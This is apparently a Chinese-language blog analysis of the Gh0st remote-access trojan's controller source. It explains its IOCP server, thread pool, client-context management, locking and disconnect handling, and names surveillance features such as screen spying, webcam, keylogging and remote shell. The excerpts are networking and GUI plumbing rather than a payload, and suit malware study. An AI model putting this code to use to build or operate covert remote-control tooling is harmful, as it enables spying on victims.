Gh0st通信协议解析

 

Gh0st通信协议解析

*******************************************************************************

从主控端初始化IOCP服务器开始讲起

[cpp]view plaincopyprint?

 

1        // 启动IOCP服务器 

2        int nPort = m_IniFile.GetInt("Settings","ListenPort"); 

3        int nMaxConnection = m_IniFile.GetInt("Settings","MaxConnection"); 

4        if (nPort == 0) 

5            nPort = 80; 

6        if (nMaxConnection == 0) 

7            nMaxConnection = 10000; 

8          

9        if (m_IniFile.GetInt("Settings", "MaxConnectionAuto")) 

10          nMaxConnection = 8000; 

11        

12      ((CMainFrame*) m_pMainWnd)->Activate(nPort,nMaxConnection); 

 

IOCP服务器是在CGh0stApp::InitInstance这个函数中被调用的,实际上是调用了CMainFrame的一个成员函数:CMainFrame::Active。看看这个函数都做了哪些事情。

 

[cpp]view plaincopyprint?

 

13      void CMainFrame::Activate(UINTnPort, UINT nMaxConnections) 

14     

15          CString    str; 

16        

17          if(m_iocpServer != NULL) 

18          { 

19              m_iocpServer->Shutdown(); 

20              delete m_iocpServer; 

21        

22          } 

23          m_iocpServer = new CIOCPServer; 

24        

25          // 开启IPCP服务器 

26          if(m_iocpServer->Initialize(NotifyProc, this,100000, nPort)) 

27          { 

28        

29              char hostname[256];  

30              gethostname(hostname,sizeof(hostname)); 

31              HOSTENT*host = gethostbyname(hostname); 

32              if (host != NULL) 

33              {  

34                  for ( inti=0; ; i++ ) 

35                  {  

36                      str+= inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]); 

37                      if ( host->h_addr_list[i] + host->h_length>= host->h_name ) 

38                          break

39                      str+= "/"

40                  } 

41              } 

42        

43              m_wndStatusBar.SetPaneText(0,str); 

44              str.Format("端口:%d", nPort); 

45              m_wndStatusBar.SetPaneText(2,str); 

46          } 

47          else 

48          { 

49              str.Format("端口%d绑定失败", nPort); 

50              m_wndStatusBar.SetPaneText(0,str); 

51              m_wndStatusBar.SetPaneText(2,"端口: 0"); 

52          } 

53        

54          m_wndStatusBar.SetPaneText(3, "连接:0"); 

55     

 

首先判断这个m_iocpServer全局变量是否已经指向了一个CIOCPServer,如果是的话,就要先关闭它,并且删除掉这个CIOCPServer所占的内存空间。

到这里我有些犹豫要不要去追踪这个CIOCPServer::Shutdown函数呢,一方面,如果去追踪的话,我们将不得不深入到CIOCPServer这个类里面去抽丝剥茧,寻找Shutdown函数,以及这个函数内部所调用的一系列的函数,这样我不得不深度遍历整个调用过程。另一方面,如果追踪吧,会使得这篇文章的主线凌乱掉,如果不追踪吧,我自己会凌乱掉,思前想后,宁可让大家疯掉,也不能让我疯掉,因为我疯掉了就写不出这个分析文章了……

好了,我们接下来看看这个CIOCPServer::Shutdown这个函数内部的一个执行逻辑。

 

[cpp]view plaincopyprint?

 

56      void CIOCPServer::Shutdown() 

57     

58          if(m_bInit == false

59              return

60        

61          m_bInit = false

62          m_bTimeToKill = true

63        

64          //Stop the listener 

65          Stop(); 

66        

67        

68          closesocket(m_socListen);    

69          WSACloseEvent(m_hEvent); 

70        

71        

72          CloseCompletionPort(); 

73            

74          DeleteCriticalSection(&m_cs); 

75        

76          while(!m_listFreePool.IsEmpty()) 

77              delete m_listFreePool.RemoveTail(); 

78        

79     

 

先来看看这个CIOCPServer::m_bInit这个变量。这个变量有什么作用呢,看这些个地方:

1:在CIOCPSserver的构造函数中有这么一句:m_bInit = false;

2:在CIOCPServer::Initialize这个函数中有这么一句:m_bInit = true;

3:在CIOCPServer::Shutdown这个函数中有这么一句:m_bInit = false;

4:在CIOCPServer::IsRunning这个函数中有这么一句:return m_bInit

从以上的各个地方我们可以知道,这个m_bInit就是一个记录CIOCPServer这个服务器的运行状态的,它只有两个意思:开启或者关闭。当CIOCPServer服务器初始化完毕的时候,此值将会被设为true。在关闭的时候,此值将会被设为false,其它的时候此值作为CIOCPServer运行状态的一个考量。

首先判断这个m_binit是否为false,如果为falseCIOCPServer本身就没有开启,还关闭个屁,如果为true的话,接下来就将其运行状态设为false

 

然后看看CIOCPServer::m_bTimeToKill这个变量。这个变量的作用:

1:在CIOCPSserver的构造函数中有这么一句:m_bTimeToKill =false

2:在CIOCPServer::Shutdown这个函数中有这么一句:m_bTimeToKill = true;

3:在核心的完成端口循环中有这么一句:

for (BOOLbStayInPool = TRUE; bStayInPool && pThis->m_bTimeToKill == false; )

可以看出,m_bTimeToKill这个值就是一个记录是否结束掉在完成端口的所有等待线程的这么一个哨兵值,如果该值被设置为true,那么所有等待在完成端口上的线程都将结束并退出,这样,就不会再有工作线程来处理这个完成端口上的所有ReadWriteInitize的请求,在这里要明白一点:工作线程数是跟运行主控端的机子上的核心数相关的。

 

接下来,我们程序的流程就到了CIOCPSserver::Stop这个函数里了,这个函数的一个主要的功能就是结束掉这个监听的socket,已达到后续的连接请求不再受理。我们看看在这个函数里CIOCPServer都做了哪些处理:

 

[cpp]view plaincopyprint?

 

80      void CIOCPServer::Stop() 

81     

82          ::SetEvent(m_hKillEvent); 

83          WaitForSingleObject(m_hListenThread,INFINITE); 

84          CloseHandle(m_hListenThread); 

85          CloseHandle(m_hKillEvent); 

86     

 

首先来看看这个CIOCPServer::m_hKillEvent这个变量的用途

1:在CIOCPServer的构造函数中有这么一句调用

  m_hKillEvent    = CreateEvent(NULL, TRUE, FALSE, NULL);在构造函数中创建了一个人工置信、初始状态为未受信的、未命名的事件对象。

2:在CIOCPServer::ListenThreadProc这个函数中有这么一句调用

   if(WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

    break;

   在监听上线的线程中的无限循环中,这一句的作用就是,当m_hKillEvent受信的时候,这个无限循环结束

3:在一个关键的地方,就是在CIOCPServer::StopSetEventm_hKillEvent)的调用。

通过以上的分析我们可以看出,这个变量存在的意义,就是承担得起当要关闭CIOCPServer这个服务器的时候,使得监听线程结束监听这么一个功能。

 

再来看看这个CIOCPServer::m_hThread这个变量的用途

1:在CIOCPServer::Initialize函数中,有以下的这个调用

 

m_hThread =

            (HANDLE)_beginthreadex(NULL,                // Security

                                     0,         // Stack size - use default

                                     ListenThreadProc//Thread fn entry point

                                     (void*) this,     

                                     0,                 // Init flag

                                     &dwThreadId);  //Thread address

 

2:在CIOCPServer::Stop中,有WaitForSingleObject(m_hThread, INFINITE)的调用。

从以上分析我们可以看出这个变量的用处就是作为监听线程的一个句柄而存在的,它代表了这个监听线程实体。

 

至此,这个CIOCPServer::Stop函数我们就分析完了,回溯到CIOCPServer::Shutdown函数继续看。

首先,我们看看CIOCPServer::m_socListen这个变量

1:在CIOCPServer::Initialize这个函数中,被赋值为监听套接字句柄,并且被设置为仅仅对网络事件FD_ACCEPT感兴趣,然后就是绑定本机,开始监听。在这里我想提一点,这个监听套接字并没有关联到后续创建的完成端口上,关联到这个完成端口上的都是那些跟主控端建立了连接的那些套接字。在这些套接字上如果发生了什么网络事件,则由完成端口上的消息派遣函数去完成。

关于这个完成端口的运行机理,在这里就不表了,后面会有详细的介绍,这里只提到一点,这点是关于完成端口的大体的架构问题:创建一个完成端口+设置一个专门为这个完成端口服务的N个线程,不断的去查询完成端口上是否有读、写的这些请求+多个向此完成端口上投递读取或者写入请求的操作+真正的去处理这些读、写请求的操作。以上就是一个大概的完成端口执行情况。

    int nRet = WSAEventSelect(m_socListen,

                          m_hEvent,

                          FD_ACCEPT);

2:在CIOCPServer::ListenThreadProc这个监听线程中,有以下这么个操作

    int nRet = WSAEnumNetworkEvents(pThis->m_socListen,

                                                      pThis->m_hEvent,

                                                      &events);

   从发生在m_sockListen这个套接字上的网络事件中选择一个我们自己感兴趣的网络事件进行处理,因为先前的时候,我们已经注册了在m_sockListen上感兴趣的网络事件,即FD_ACCEPT这么个网络事件。因此在这里我们只对发生在这个套接字上的这个网络事件进行处理。

3:在CIOCPServer::OnAccept这个函数中,有以下这么个操作

  clientSocket = accept(m_socListen,

                               (LPSOCKADDR)&SockAddr,

                                  &nLen);

   在这里就是对发生在这个套接字上的连接请求进行了一个接受连接的那么一个处理。

通过以上的分析,我们可以得出这么个结论,这个m_socListen就是一个监听套接字句柄。

 

接下来,我们对CIOCPServer::m_hEvent这个变量进行一个分析

1:在CIOCPServer::Initialize这个函数中,对这个变量进行了以下这么个操作

  m_hEvent = WSACreateEvent();

   进行了一个赋值的操作,创建的是一个自动重置、非受信的一个事件对象。接下来是

   intnRet = WSAEventSelect(m_socListen,

                                           m_hEvent,

                                           FD_ACCEPT);

   将这个事件对象与m_socListen套接字相关联。当在m_socListen上发生了FD_ACCEPT这个网络事件的时候,这个对象将会被置信。

2:在CIOCPServer::ListenThreadProc这个函数中,对这个变量有以下这么个操作

  dwRet = WSAWaitForMultipleEvents(1,

                                                        &pThis->m_hEvent,

                                                        FALSE,

                                                        100,

                                                        FALSE);

   等待这个事件对象被置信。

    int nRet = WSAEnumNetworkEvents(pThis->m_socListen,

                                                 pThis->m_hEvent,

                                                 &events);

   当这个事件对象受信的时候,枚举发生在这个事件对象上的网络事件,并判断是否为期望的网络事件发生。

3:在CIOCPServer::Shutdown这个函数中对这个变量有这个操作

    WSACloseEvent(m_hEvent);

通过以上分析,我们可以得出这么个结论,这个m_hEvent的存在就是为了给这个监听套接字做一个事件表象,就是说所有发生在这个套接字上的事件,都是由这个事件对象来反映出来。

 

接下来我们需要看这个函数:CIOCPServer:: CloseCompletionPort,看看在这个函数中都进行了哪些操作。

 

[cpp]view plaincopyprint?

 

87      void CIOCPServer::CloseCompletionPort() 

88     

89        

90          while(m_nWorkerCnt) 

91          { 

92              PostQueuedCompletionStatus(m_hCompletionPort,0, (DWORD) NULL, NULL); 

93              Sleep(100); 

94          } 

95        

96          //Close the CompletionPort and stop any more requests 

97          CloseHandle(m_hCompletionPort); 

98        

99          ClientContext* pContext =NULL; 

100     

101       do  

102       { 

103           POSITION pos  =m_listContexts.GetHeadPosition(); 

104           if (pos) 

105           { 

106               pContext=m_listContexts.GetNext(pos);          

107               RemoveStaleClient(pContext,FALSE); 

108           } 

109       } 

110       while(!m_listContexts.IsEmpty()); 

111     

112       m_listContexts.RemoveAll(); 

113     

114  

 

首先,先看看CIOCPServer::m_nWorkerCnt这个变量。

1:在CIOCPServer::InitializeIOCP这个函数里,对这个变量有这么个操作

 

[cpp]view plaincopyprint?

 

115   for ( i = 0; i <nWorkerCnt; i++ )  

116  

117       hWorkerThread = (HANDLE)_beginthreadex( 

118           NULL,                  // Security 

119           0,                     // Stack size - use default 

120           ThreadPoolFunc,            // Thread fn entry point 

121           (void*) this,          // Param for thread 

122           0,                     // Init flag 

123           &nThreadID);           //Thread address 

124         

125         

126       if(hWorkerThread == NULL )  

127       { 

128           CloseHandle(m_hCompletionPort ); 

129           return false

130       } 

131         

132       m_nWorkerCnt++; 

133         

134       CloseHandle(hWorkerThread); 

135  

 

可以看到,这个值是代表了,为完成端口服务的线程的数量。

2:在CIOCPServer::ThreadPoolFunc函数中,对这个变量有这么个操作

  InterlockedDecrement(&pThis->m_nWorkerCnt);

   这个操作是在某个为完成端口服务的线程即将结束的时候的一个操作

3:在CIOCPServer::CloseCompletionPort函数中,对这个变量的操作就不多少了

通过以上的分析,我们可以得出这样一个结论:这个m_nWorkerCnt的值就是代表了为完成端口服务的线程数量,因为此值是全局变量,因此各个线程对此值的访问时共享的,必须对此值的访问进行一个同步处理—原子操作。

 

接下来,我们重点看看这个很有意思的循环

 

 

[cpp]view plaincopyprint?

 

136   while(m_nWorkerCnt) 

137     

138  

139     

140          PostQueuedCompletionStatus(m_hCompletionPort,0, (DWORD) NULL, NULL); 

141     

142          Sleep(100); 

143     

144  

 

 

 

 

为什么说这个循环有意思呢,因为这个循环的这个循环体是给每一个为这个完成端口服务的线程发送一条结束自身的指令。它是如何实现的呢?且听我慢慢的道来……

 

首先,在CIOCPServer::ThreadPoolFun这个服务线程中,有这么一块代码

[cpp]view plaincopyprint?

 

145   for (BOOL bStayInPool = TRUE; bStayInPool&& pThis->m_bTimeToKill == false;)  

146  

147       pOverlapPlus    = NULL; 

148       lpClientContext = NULL; 

149       bError         = false

150       bEnterRead      = false

151       // Thread is Blockwaiting for IO completion 

152       InterlockedDecrement(&pThis->m_nBusyThreads); 

153     

154     

155       // Get a completed IOrequest. 

156       BOOLbIORet = GetQueuedCompletionStatus( 

157                 hCompletionPort,             // HANDLE          CompletionPort 

158                 &dwIoSize,                   //LPDWORD          lpNumberOfBytes 

159                 (LPDWORD) &lpClientContext,   // PULONG_PTR      lpCompletionKey 

160                 &lpOverlapped,               // LPOVERLAPPED*    lpOverlapped 

161              INFINITE);                  //DWORD           dwMilliseconds 

162     

163       DWORDdwIOError = GetLastError(); 

164       //找回 PostQueuedCompletionStatus 中发过来的 pOverlapPlus 

165       pOverlapPlus = CONTAINING_RECORD(lpOverlapped,OVERLAPPEDPLUS, m_ol); 

 

 

   这个for循环的结束条件有两个,一个是m_bTimeToKill被置为True,再一个是bStayInPool被置为False.第一种条件在前面我们已经讨论过了,现在讨论第二种情况,在什么情况下bStayInPool会被置为False?

   本人所述以下内容因为跟作者的源码有出入,不敢苟同原作者,但是有没有好的证据来证明我的正确性。因此,我对以下红字部分的内容不负责,有错误之处请谅解…………

 

// Thread timed out - IDLE?

            if (!bIORet && dwIOError == WAIT_TIMEOUT)

            {

                if (lpClientContext == NULL)

                {

                    if (pThis->m_cpu.GetUsage() < pThis->m_nCPULoThreshold)

                    {

                        // Thread has no outstanding IO - Server hasn't much to do so die

                        if (pThis->m_nCurrentThreads > pThis->m_nThreadPoolMin)

                            bStayInPoolFALSE;

                    }

 

                    bError = true;

                }

            }

    以上代码就是我认为作者逻辑极度混乱的地方。分析这块代码的上下文我们可以发现,这段代码的用意就是对GetQueuedCompletionStatus这个函数的返回值以及参数输出值进行一个分类判断,并加以不同的处理逻辑。

   1:首先,是如果传输数据的过程中出现了错误,那应该如何处理

   2:数据正常传输的情况下,根据CPU的使用率进行一个自适应线程调整

    3:数据正常传输的情况下,由完成端口的派遣例程处理相关的请求操作

    问题,就出现在这第二种情况,我猜测原作者是将自适应调整线程中的结束线程与我们上面讨论的为关闭掉完成端口而向工作线程发送结束指令的这两个操作合二为一处理。但是依愚兄之见,这两个操作还真不能够放到一起去,应该分开处理。按照我的逻辑,应该再添加一种情况的处理:

4:数据正常传输的情况下,发现是结束自身的指令,则将bStayInPool设置为false。从而致使所有的等待在完成端口上的工作线程结束自身,程序无错化退出。

还有一点需要点出来,if (!bIORet && dwIOError ==WAIT_TIMEOUT)这个条件永远不会被满足,因为

  BOOL bIORet =GetQueuedCompletionStatus(

              hCompletionPort,

              &dwIoSize,

              (LPDWORD) &lpClientContext,

              &lpOverlapped, INFINITE);

所以这个地方必须得去修改,而且“自适应调整线程中的结束线程”与“为关闭掉完成端口而向工作线程发送结束指令”这两个操作的最终操作结果是不同的,一种是将工作线程维持在一个最低不能低于核心数*2的这么个线程数,而另一种是将所有的线程全部结束掉。因此,这个地方需要修改

至于这第四种的实现方法,我会在后续的编码过程中实现、测试,这里这种想法对不对对等有了具体的测试数据再说。

至此,我们对这个循环到这里就结束了。我们继续在CIOCPServer::CloseCompletionPort这个函数里往下看。

 

    while (m_nWorkerCnt)

    {

        PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) NULL, NULL);

        Sleep(100);

    }

 

    // Close the CompletionPort and stop any more requests

    CloseHandle(m_hCompletionPort);

 

    ClientContext* pContext = NULL;

 

    do

    {

        POSITION pos = m_listContexts.GetHeadPosition();

        if (pos)

        {

            pContext = m_listContexts.GetNext(pos);        

            RemoveStaleClient(pContext, FALSE);

        }

    }

    while (!m_listContexts.IsEmpty());

 

    m_listContexts.RemoveAll();

 

关闭掉这个完成端口句柄,这个就没啥说的了。

 

接下来,看看CIOCPServer::CloseCompletionPort函数中对它自身维护的这个ContextList的一个处理的过程。

1m_listContexts被实例化的地方

 ContextList m_listContexts; //记录当前CIOCPServer保存的ClientContext的一个链表

 ContextList m_listFreePool; //记录当前释放的ClientContext的一个链表

这两个变量非常有意思,看看ContextList的一个原型

typedef CList<ClientContext*,ClientContext* > ContextList;

这一行代码包含的信息量蛮大的,首先我们需要明白几个概念,以及这几个概念之间的联系:模板类、类、对象。不明白的童鞋翻翻C++的基础教材,都有讲。我用一句话概括三者之间的关系:类是类模板的实例化、对象是类的实例化。

上面这句代码的含义,就是将类模板给实例化成一个ContextList类。

然后在CIOCPServer的构造函数中将这个类实例化成两个对象:m_ListContexts以及m_ListFreePool

2:在CIOCPServer::OnAccept函数中,对该变量有以下的操作

  m_listContexts.AddTail(pContext);

由此,我们可以得出这样一个结论,m_listContexts就是保存了当前与主控端保持连接的被控端实例,这个链表中的一个元素就代表了一个被控端;而m_listFreePool则保存了当前被释放掉的ClientContext结构,以便当有新的连接到来时,快速的分配此结构用于保存客户端数据结构,由下图可以看出此用途

回收此结构

 

void CIOCPServer::MoveToFreePool(ClientContext *pContext)

{

    CLock cs(m_cs, "MoveToFreePool");

    // Free context structures

    POSITION pos = m_listContexts.Find(pContext);

    if (pos)

    {

        pContext->m_CompressionBuffer.ClearBuffer();

        pContext->m_WriteBuffer.ClearBuffer();

        pContext->m_DeCompressionBuffer.ClearBuffer();

        pContext->m_ResendWriteBuffer.ClearBuffer();

        m_listFreePool.AddTail(pContext);

        m_listContexts.RemoveAt(pos);

    }

}

 

分配此结构

 

ClientContext CIOCPServer::AllocateContext()

{

    ClientContext* pContext = NULL;

 

    CLock cs(CIOCPServer::m_cs, "AllocateContext");

 

    if (!m_listFreePool.IsEmpty())

    {

        pContext = m_listFreePool.RemoveHead();

    }

    else

    {

        pContext = new ClientContext;

    }

 

    ASSERT(pContext);

   

    if (pContext != NULL)

    {

 

        ZeroMemory(pContext, sizeof(ClientContext));

        pContext->m_bIsMainSocket = false;

        memset(pContext->m_Dialog, 0, sizeof(pContext->m_Dialog));

    }

    return pContext;

}

 

讲到这里,我们必须要简略的提一个重要的数据结构,这个数据结构描述了受控端的各种信息。

 

struct ClientContext

{

    SOCKET              m_Socket;

    // Store buffers

    CBuffer             m_WriteBuffer;

    CBuffer             m_CompressionBuffer;    // 接收到的压缩的数据

    CBuffer             m_DeCompressionBuffer// 解压后的数据

    CBuffer             m_ResendWriteBuffer;    // 上次发送的数据包,接收失败时重发时用

 

    int                 m_Dialog[2]; // 放对话框列表用,第一个int是类型,第二个是CDialog的地址

    int                 m_nTransferProgress;

    // Input Elements for Winsock

    WSABUF              m_wsaInBuffer;

    BYTE                m_byInBuffer[8192];

 

    // Output elements for Winsock

    WSABUF              m_wsaOutBuffer;

    HANDLE              m_hWriteComplete;

 

    // Message counts... purely for example purposes

    LONG                m_nMsgIn;

    LONG                m_nMsgOut

 

    BOOL                m_bIsMainSocket; // 是不是主socket

 

    ClientContext*      m_pWriteContext;

    ClientContext*      m_pReadContext;

};

 

 

关于此数据结构各个字段的详细含义,我们会在后续的newClientContext的操作中进行讲解,在这里我们先对此数据结构有一个感性的认识,对各个字段有个大体的印象,因为在接下来我们分析CIOCPServer::RemoveStaleClient函数的时候会涉及到其中的几个字段。接下来我们来看这个释放此结构所占的空间的循环操作:

 ClientContext* pContext = NULL;

 

do

{

  POSITION pos = m_listContexts.GetHeadPosition();

   if(pos)

   {

    pContext = m_listContexts.GetNext(pos);  

    RemoveStaleClient(pContext, FALSE);

   }

}while(!m_listContexts.IsEmpty());

 m_listContexts.RemoveAll();

 

本段代码的含义就是对m_listContexts链表中的每一个ClientContext进行一个释放,直到所有的ClientContext都被释放完毕,最后来一个RemoveAll进行全部的删除。如果想对这个操作有一个更加全面深刻的认识,建议大家好好看看C++里面提供给大家的这个CList类模板的一些操作,接下来,我们看看CIOCPServer::RemoveStaleClient这个函数,这个函数的大体功能就是对PContext变量指示的数据结构进行一个释放操作,这其中会涉及到一些界面上的操作,因为我们这里是将gh0st的通信协议,关于界面的在这里我们就简略带过。

 

void CIOCPServer::RemoveStaleClient(ClientContext* pContext, BOOL bGraceful)

{

    CLock cs(m_cs, "RemoveStaleClient");

 

    TRACE("CIOCPServer::RemoveStaleClient\n");

 

    LINGER lingerStruct;

 

 

    //

    // If we're supposed to abort the connection, set the linger value

    // on the socket to 0.

    //

 

    if ( !bGraceful )

    {

 

        lingerStruct.l_onoff = 1;

        lingerStruct.l_linger = 0;

        setsockopt( pContext->m_Socket, SOL_SOCKET, SO_LINGER,

                   (char *)&lingerStruct, sizeof(lingerStruct) );

    }

 

 

 

    //

    // Free context structures

    if (m_listContexts.Find(pContext))

    {

 

        //

        // Now close the socket handle. This will do an abortive or graceful close, as requested. 

        CancelIo((HANDLE) pContext->m_Socket);

 

        closesocket( pContext->m_Socket );

        pContext->m_Socket = INVALID_SOCKET;

 

        while (!HasOverlappedIoCompleted((LPOVERLAPPED)pContext))

               Sleep(0);

 

        m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_DISCONNECT);

 

        MoveToFreePool(pContext);

 

    }

}

 

 

 

 

首先,我们需要对这款远控的一个核心技术进行回顾,此款远控的主控端是可以根据核心数来有针对性的创建为完成端口服务的工作线程的,并且会根据当前cpu的一个工作状态来调整这些工作线程的数量,再加上监听线程,再加上一个主线程,我们可以得出这样的结论,在这个远控主控端进程中是允许着很多个线程的,这就牵扯到了一个让人容易蛋疼的问题,多线程编程的时候要注意对全局变量访问的时候的互斥保障,以及当多个线程都有可能执行某一段代码的时候,还要对这段代码添加一个互斥访问的锁(本程序对这种情况的解决问题就是利用临界区)。

说到多线程编程,我又想到当年我写一款软件的时候的情形,当时每弹出一个对话框的时候,都会在这个对话框的OnInitDialog函数中开启一个线程,在这个线程中接收服务端发送过来的数据,但是由于当时在对话框退出的时候没能够及时的结束掉开启的这个线程,以至于再次开启对话框接收数据的时候,接收到得数据总是不可控的,当时就是找不出问题的所在,现在看来错误是很明显的了,就是因为对多线程编程不熟悉~

  罗嗦了那么多就是想引出这个Clock结构体,正是因为这个结构体的存在,才保证了多线程运行的时候对关键代码的一个序列化执行,从而保证了执行结果是可信的。

 

class CLock

{

public:

    CLock(CRITICAL_SECTION& cs, const CString& strFunc)

    {

        m_strFunc = strFunc;

        m_pcs = &cs;

        Lock();

    }

    ~CLock()

    {

        Unlock();

 

    }

   

    void Unlock()

    {

        LeaveCriticalSection(m_pcs);

        TRACE(_T("LC %d %s\n") , GetCurrentThreadId() , m_strFunc);

    }

 

    void Lock()

    {

        TRACE(_T("EC %d %s\n") , GetCurrentThreadId(), m_strFunc);

        EnterCriticalSection(m_pcs);

    }

 

 

protected:

    CRITICAL_SECTION*   m_pcs;

    CString             m_strFunc;

};

 

 

注意在这个结构体的构造函数中调用了Clock::Lock函数,这个函数里有一个进入临界区的函数调用,因此在本例的应用中,在函数的开始处就调用了

CLockcs(CIOCPServer::m_cs, "AllocateContext");

当其它的线程想要执行这个函数的时候,由于有其他的线程还在临界区里没有出来,而得不到执行的机会,那么什么时候当前占用此段代码区段的线程会释放这段代码的独占权呢?当然是当这个函数执行完毕的时候,Clock cs 创建的这个对象的生命周期也就结束了,当然也就会调用这个对象的析构函数:~Clock

 

接下来继续看暴力结束在这个已经建立连接的TCP上的socket。以下的代码:

if ( !bGraceful)

{

  lingerStruct.l_onoff = 1;

  lingerStruct.l_linger = 0;

  setsockopt( pContext->m_Socket, SOL_SOCKET, SO_LINGER,

   (char*)&lingerStruct, sizeof(lingerStruct) );

}

设置 l_onoff为非0l_linger0,则套接口关闭时TCP夭折连接,TCP将丢弃保留在套接口发送缓冲区中的任何数据并发送一个RST给对方,而不是通常的四分组终止序列,这避免了TIME_WAIT状态。这样直接丢弃了所有在这个套接字上的所有的数据,不论是待发送的还是待接收的,都被丢弃。

 

解决掉了套接字上残留的数据之后,接下来开始进行撤销在此套接字上悬而未决的操作,接着关闭掉这个套接字句柄,并且将这个套接字句柄的值设置为:INVALID_SOCKET

接下来的这个while循环比较有意思:

while(!HasOverlappedIoCompleted((LPOVERLAPPED)pContext))

    Sleep(0);

这里是直接将pContext这个指针类型给强制转换成了LPOVERLAPPED这个指针类型,并且当做HasOverlappedIoCompleted这个宏的参数。这个地方这样的强制类型转换为什么会成功,并且能正常的执行呢?

ClientContext的数据结构定义

 

 

struct ClientContext

{

    SOCKET              m_Socket;

    // Store buffers

    CBuffer             m_WriteBuffer;

    CBuffer             m_CompressionBuffer;    // 接收到的压缩的数据

    CBuffer             m_DeCompressionBuffer// 解压后的数据

    CBuffer             m_ResendWriteBuffer;    // 上次发送的数据包,接收失败时重发时用

 

再去看看这个OVERLAPPED数据结构的定义 

typedef struct _OVERLAPPED {

    ULONG_PTR Internal;

    ULONG_PTR InternalHigh;

    union {

        struct {

            DWORD Offset;

            DWORD OffsetHigh;

        } DUMMYSTRUCTNAME;

        PVOID Pointer;

    } DUMMYUNIONNAME;

 

    HANDLE  hEvent;

} OVERLAPPED, *LPOVERLAPPED;

再来看看SOCKET的定义:

typedefUINT_PTR        SOCKET;

 

接下来我们再看看HasOverlappedIoCompleted这个宏的定义:

#defineHasOverlappedIoCompleted(lpOverlapped)\

((lpOverlapped)->Internal!= STATUS_PENDING)

上面的是一个宏,用于应用程序快速查看一个I/O请求是否完成。完成返回TRUE否则返回FALSE

怎样,看出门道来了吧?

看不出门道的,说明你们对指针这一块的理解实在是不到位。就算我给你解释,你们也不会听得懂,因为这涉及到指针的特性,用我自己的话,一个无类型的指针LPVOID可以指一个字节的长度,也可以指整个内存的长度。因此指针嘛,总是可以进行类型间的转换的。

 

LPContext转换成LPVOID之后,当做参数传输到HasOverlappedIoCompleted这个宏里,在这里我们还应该注意到一点:pContext->m_Socket = INVALID_SOCKET;

结合以上的分析,我们可以知道这段代码的操作原理:等待所有在这个Socket上的I/O请求完成,而这种完成时由于我们取消了这些请求才发生的,然后继续执行下面的代码。

m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_CLIENT_DISCONNECT);

其实这个函数的真身是在这里:

 

void CALLBACK CMainFrame::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)

    {

        try

        {

            CMainFrame* pFrame = (CMainFrame*) lpParam;

            CString str;

            // g_pConnectView 进行初始化

            g_pConnectView = (CGh0stView *)((CGh0stApp *)AfxGetApp())->m_pConnectView;

 

            // g_pConnectView还没创建,这情况不会发生

            if (((CGh0stApp *)AfxGetApp())->m_pConnectView == NULL)

                return;

 

            g_pConnectView->m_iocpServer = m_iocpServer;

 

            str.Format("S: %.2f kb/s R: %.2f kb/s", (float)m_iocpServer->m_nSendKbps / 1024, (float)m_iocpServer->m_nRecvKbps / 1024);

            g_pFrame->m_wndStatusBar.SetPaneText(1, str);

 

            switch (nCode)

            {

            case NC_CLIENT_CONNECT:

                break;

            case NC_CLIENT_DISCONNECT:

                g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);

                break;

            case NC_TRANSMIT:

                break;

            case NC_RECEIVE:

                ProcessReceive(pContext);

                break;

            case NC_RECEIVE_COMPLETE:

                ProcessReceiveComplete(pContext);

                break;

            }

        }catch(...){}

    }

为使我们的讲解清晰性,在这里我们不会对这个函数功能进行一个系统的讲解,我们在这里只取我们需要的地方进行讲解,即caseNC_CLIENT_DISCONNECT:

 

在这里是清除所有受控端的连接,这里包含两层意思:第一呢,是结束掉先前建立起来的socket连接,这包括在该socket上的一些悬而未决的处理请求。第二呢,就是在界面上也要去除掉在ListView控件上的一系列的上线记录。接下来要讨论的东西其实已经涉及到了界面编程的知识,我们在这里稍微一提,不作重点介绍……

PostMessage函数向框架发送一条WM_REMOVEFROMLIST消息,接下来看看处理这条消息的消息响应函数的定义。

 

    LRESULT CGh0stView::OnRemoveFromList(WPARAM wParam, LPARAM lParam)

    {

        ClientContext   *pContext = (ClientContext *)lParam;

        if (pContext == NULL)

            return -1;

        // 删除链表过程中可能会删除Context

        try

        {

            int nCnt = m_pListCtrl->GetItemCount();

            for (int i=0; i < nCnt; i++)

            {

                if (pContext == (ClientContext *)m_pListCtrl->GetItemData(i))

                {

                    m_pListCtrl->DeleteItem(i);

                    break;

                }      

            }

 

            // 关闭相关窗口

            switch (pContext->m_Dialog[0])

            {

            case FILEMANAGER_DLG:

            case SCREENSPY_DLG:

            case WEBCAM_DLG:

            case AUDIO_DLG:

            case KEYBOARD_DLG:

            case SYSTEM_DLG:

            case SHELL_DLG:

                ((CDialog*)pContext->m_Dialog[1])->DestroyWindow();

                break;

            default:

                break;

            }

        }catch(...){}

 

        // 更新当前连接总数

        g_pFrame->ShowConnectionsNumber();

        return 0;

    }

 

以上这一段代码就是遍历ListView控件中各个记录存储的数据,从中找出要从控件中移走的记录的过程,这里涉及到界面编程中ListView控件的使用方法。移走的这个操作也非常简单,就是调用了ListView的一个成员函数:DeleteItem

 

 

这里还要摧毁在某一次的会话过程中创建的一些Dialog。在前面我们已经对ClientContext这个结构有了一个基本的了解。以及知道了各个字段的一个大概含义。接下来我们需要重点看这两个字段:m_Dialog[0]m_Dialog[1]。由于使用这两个变量的地方很多都是重复的,所以,在这里我们取一个典型的操作来阐述。

1:在ClientContext中这两个变量被定义 int    m_Dialog[2];

2:在CGh0stView::OnOpenShellDialog中被赋值

LRESULTCGh0stView::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)

{

      ClientContext  *pContext = (ClientContext *)lParam;

      CShellDlg       *dlg = new CShellDlg(this,m_iocpServer, pContext);

     

      // 设置父窗口为卓面

      dlg->Create(IDD_SHELL, GetDesktopWindow());

      dlg->ShowWindow(SW_SHOW);

     

      pContext->m_Dialog[0] = SHELL_DLG;

      pContext->m_Dialog[1] = (int)dlg;

      return 0;

}

3:在很多个地方会被使用,这里只取一个典型的地方CMainFrame::ProcessReceiveComplete

当接收完被控端传过来的数据的时候,会调用此函数,数据具体由谁来处理?

switch(pContext->m_Dialog[0])

{

Case SHELL_DLG:

((CShellDlg*)dlg)->OnReceiveComplete();

}

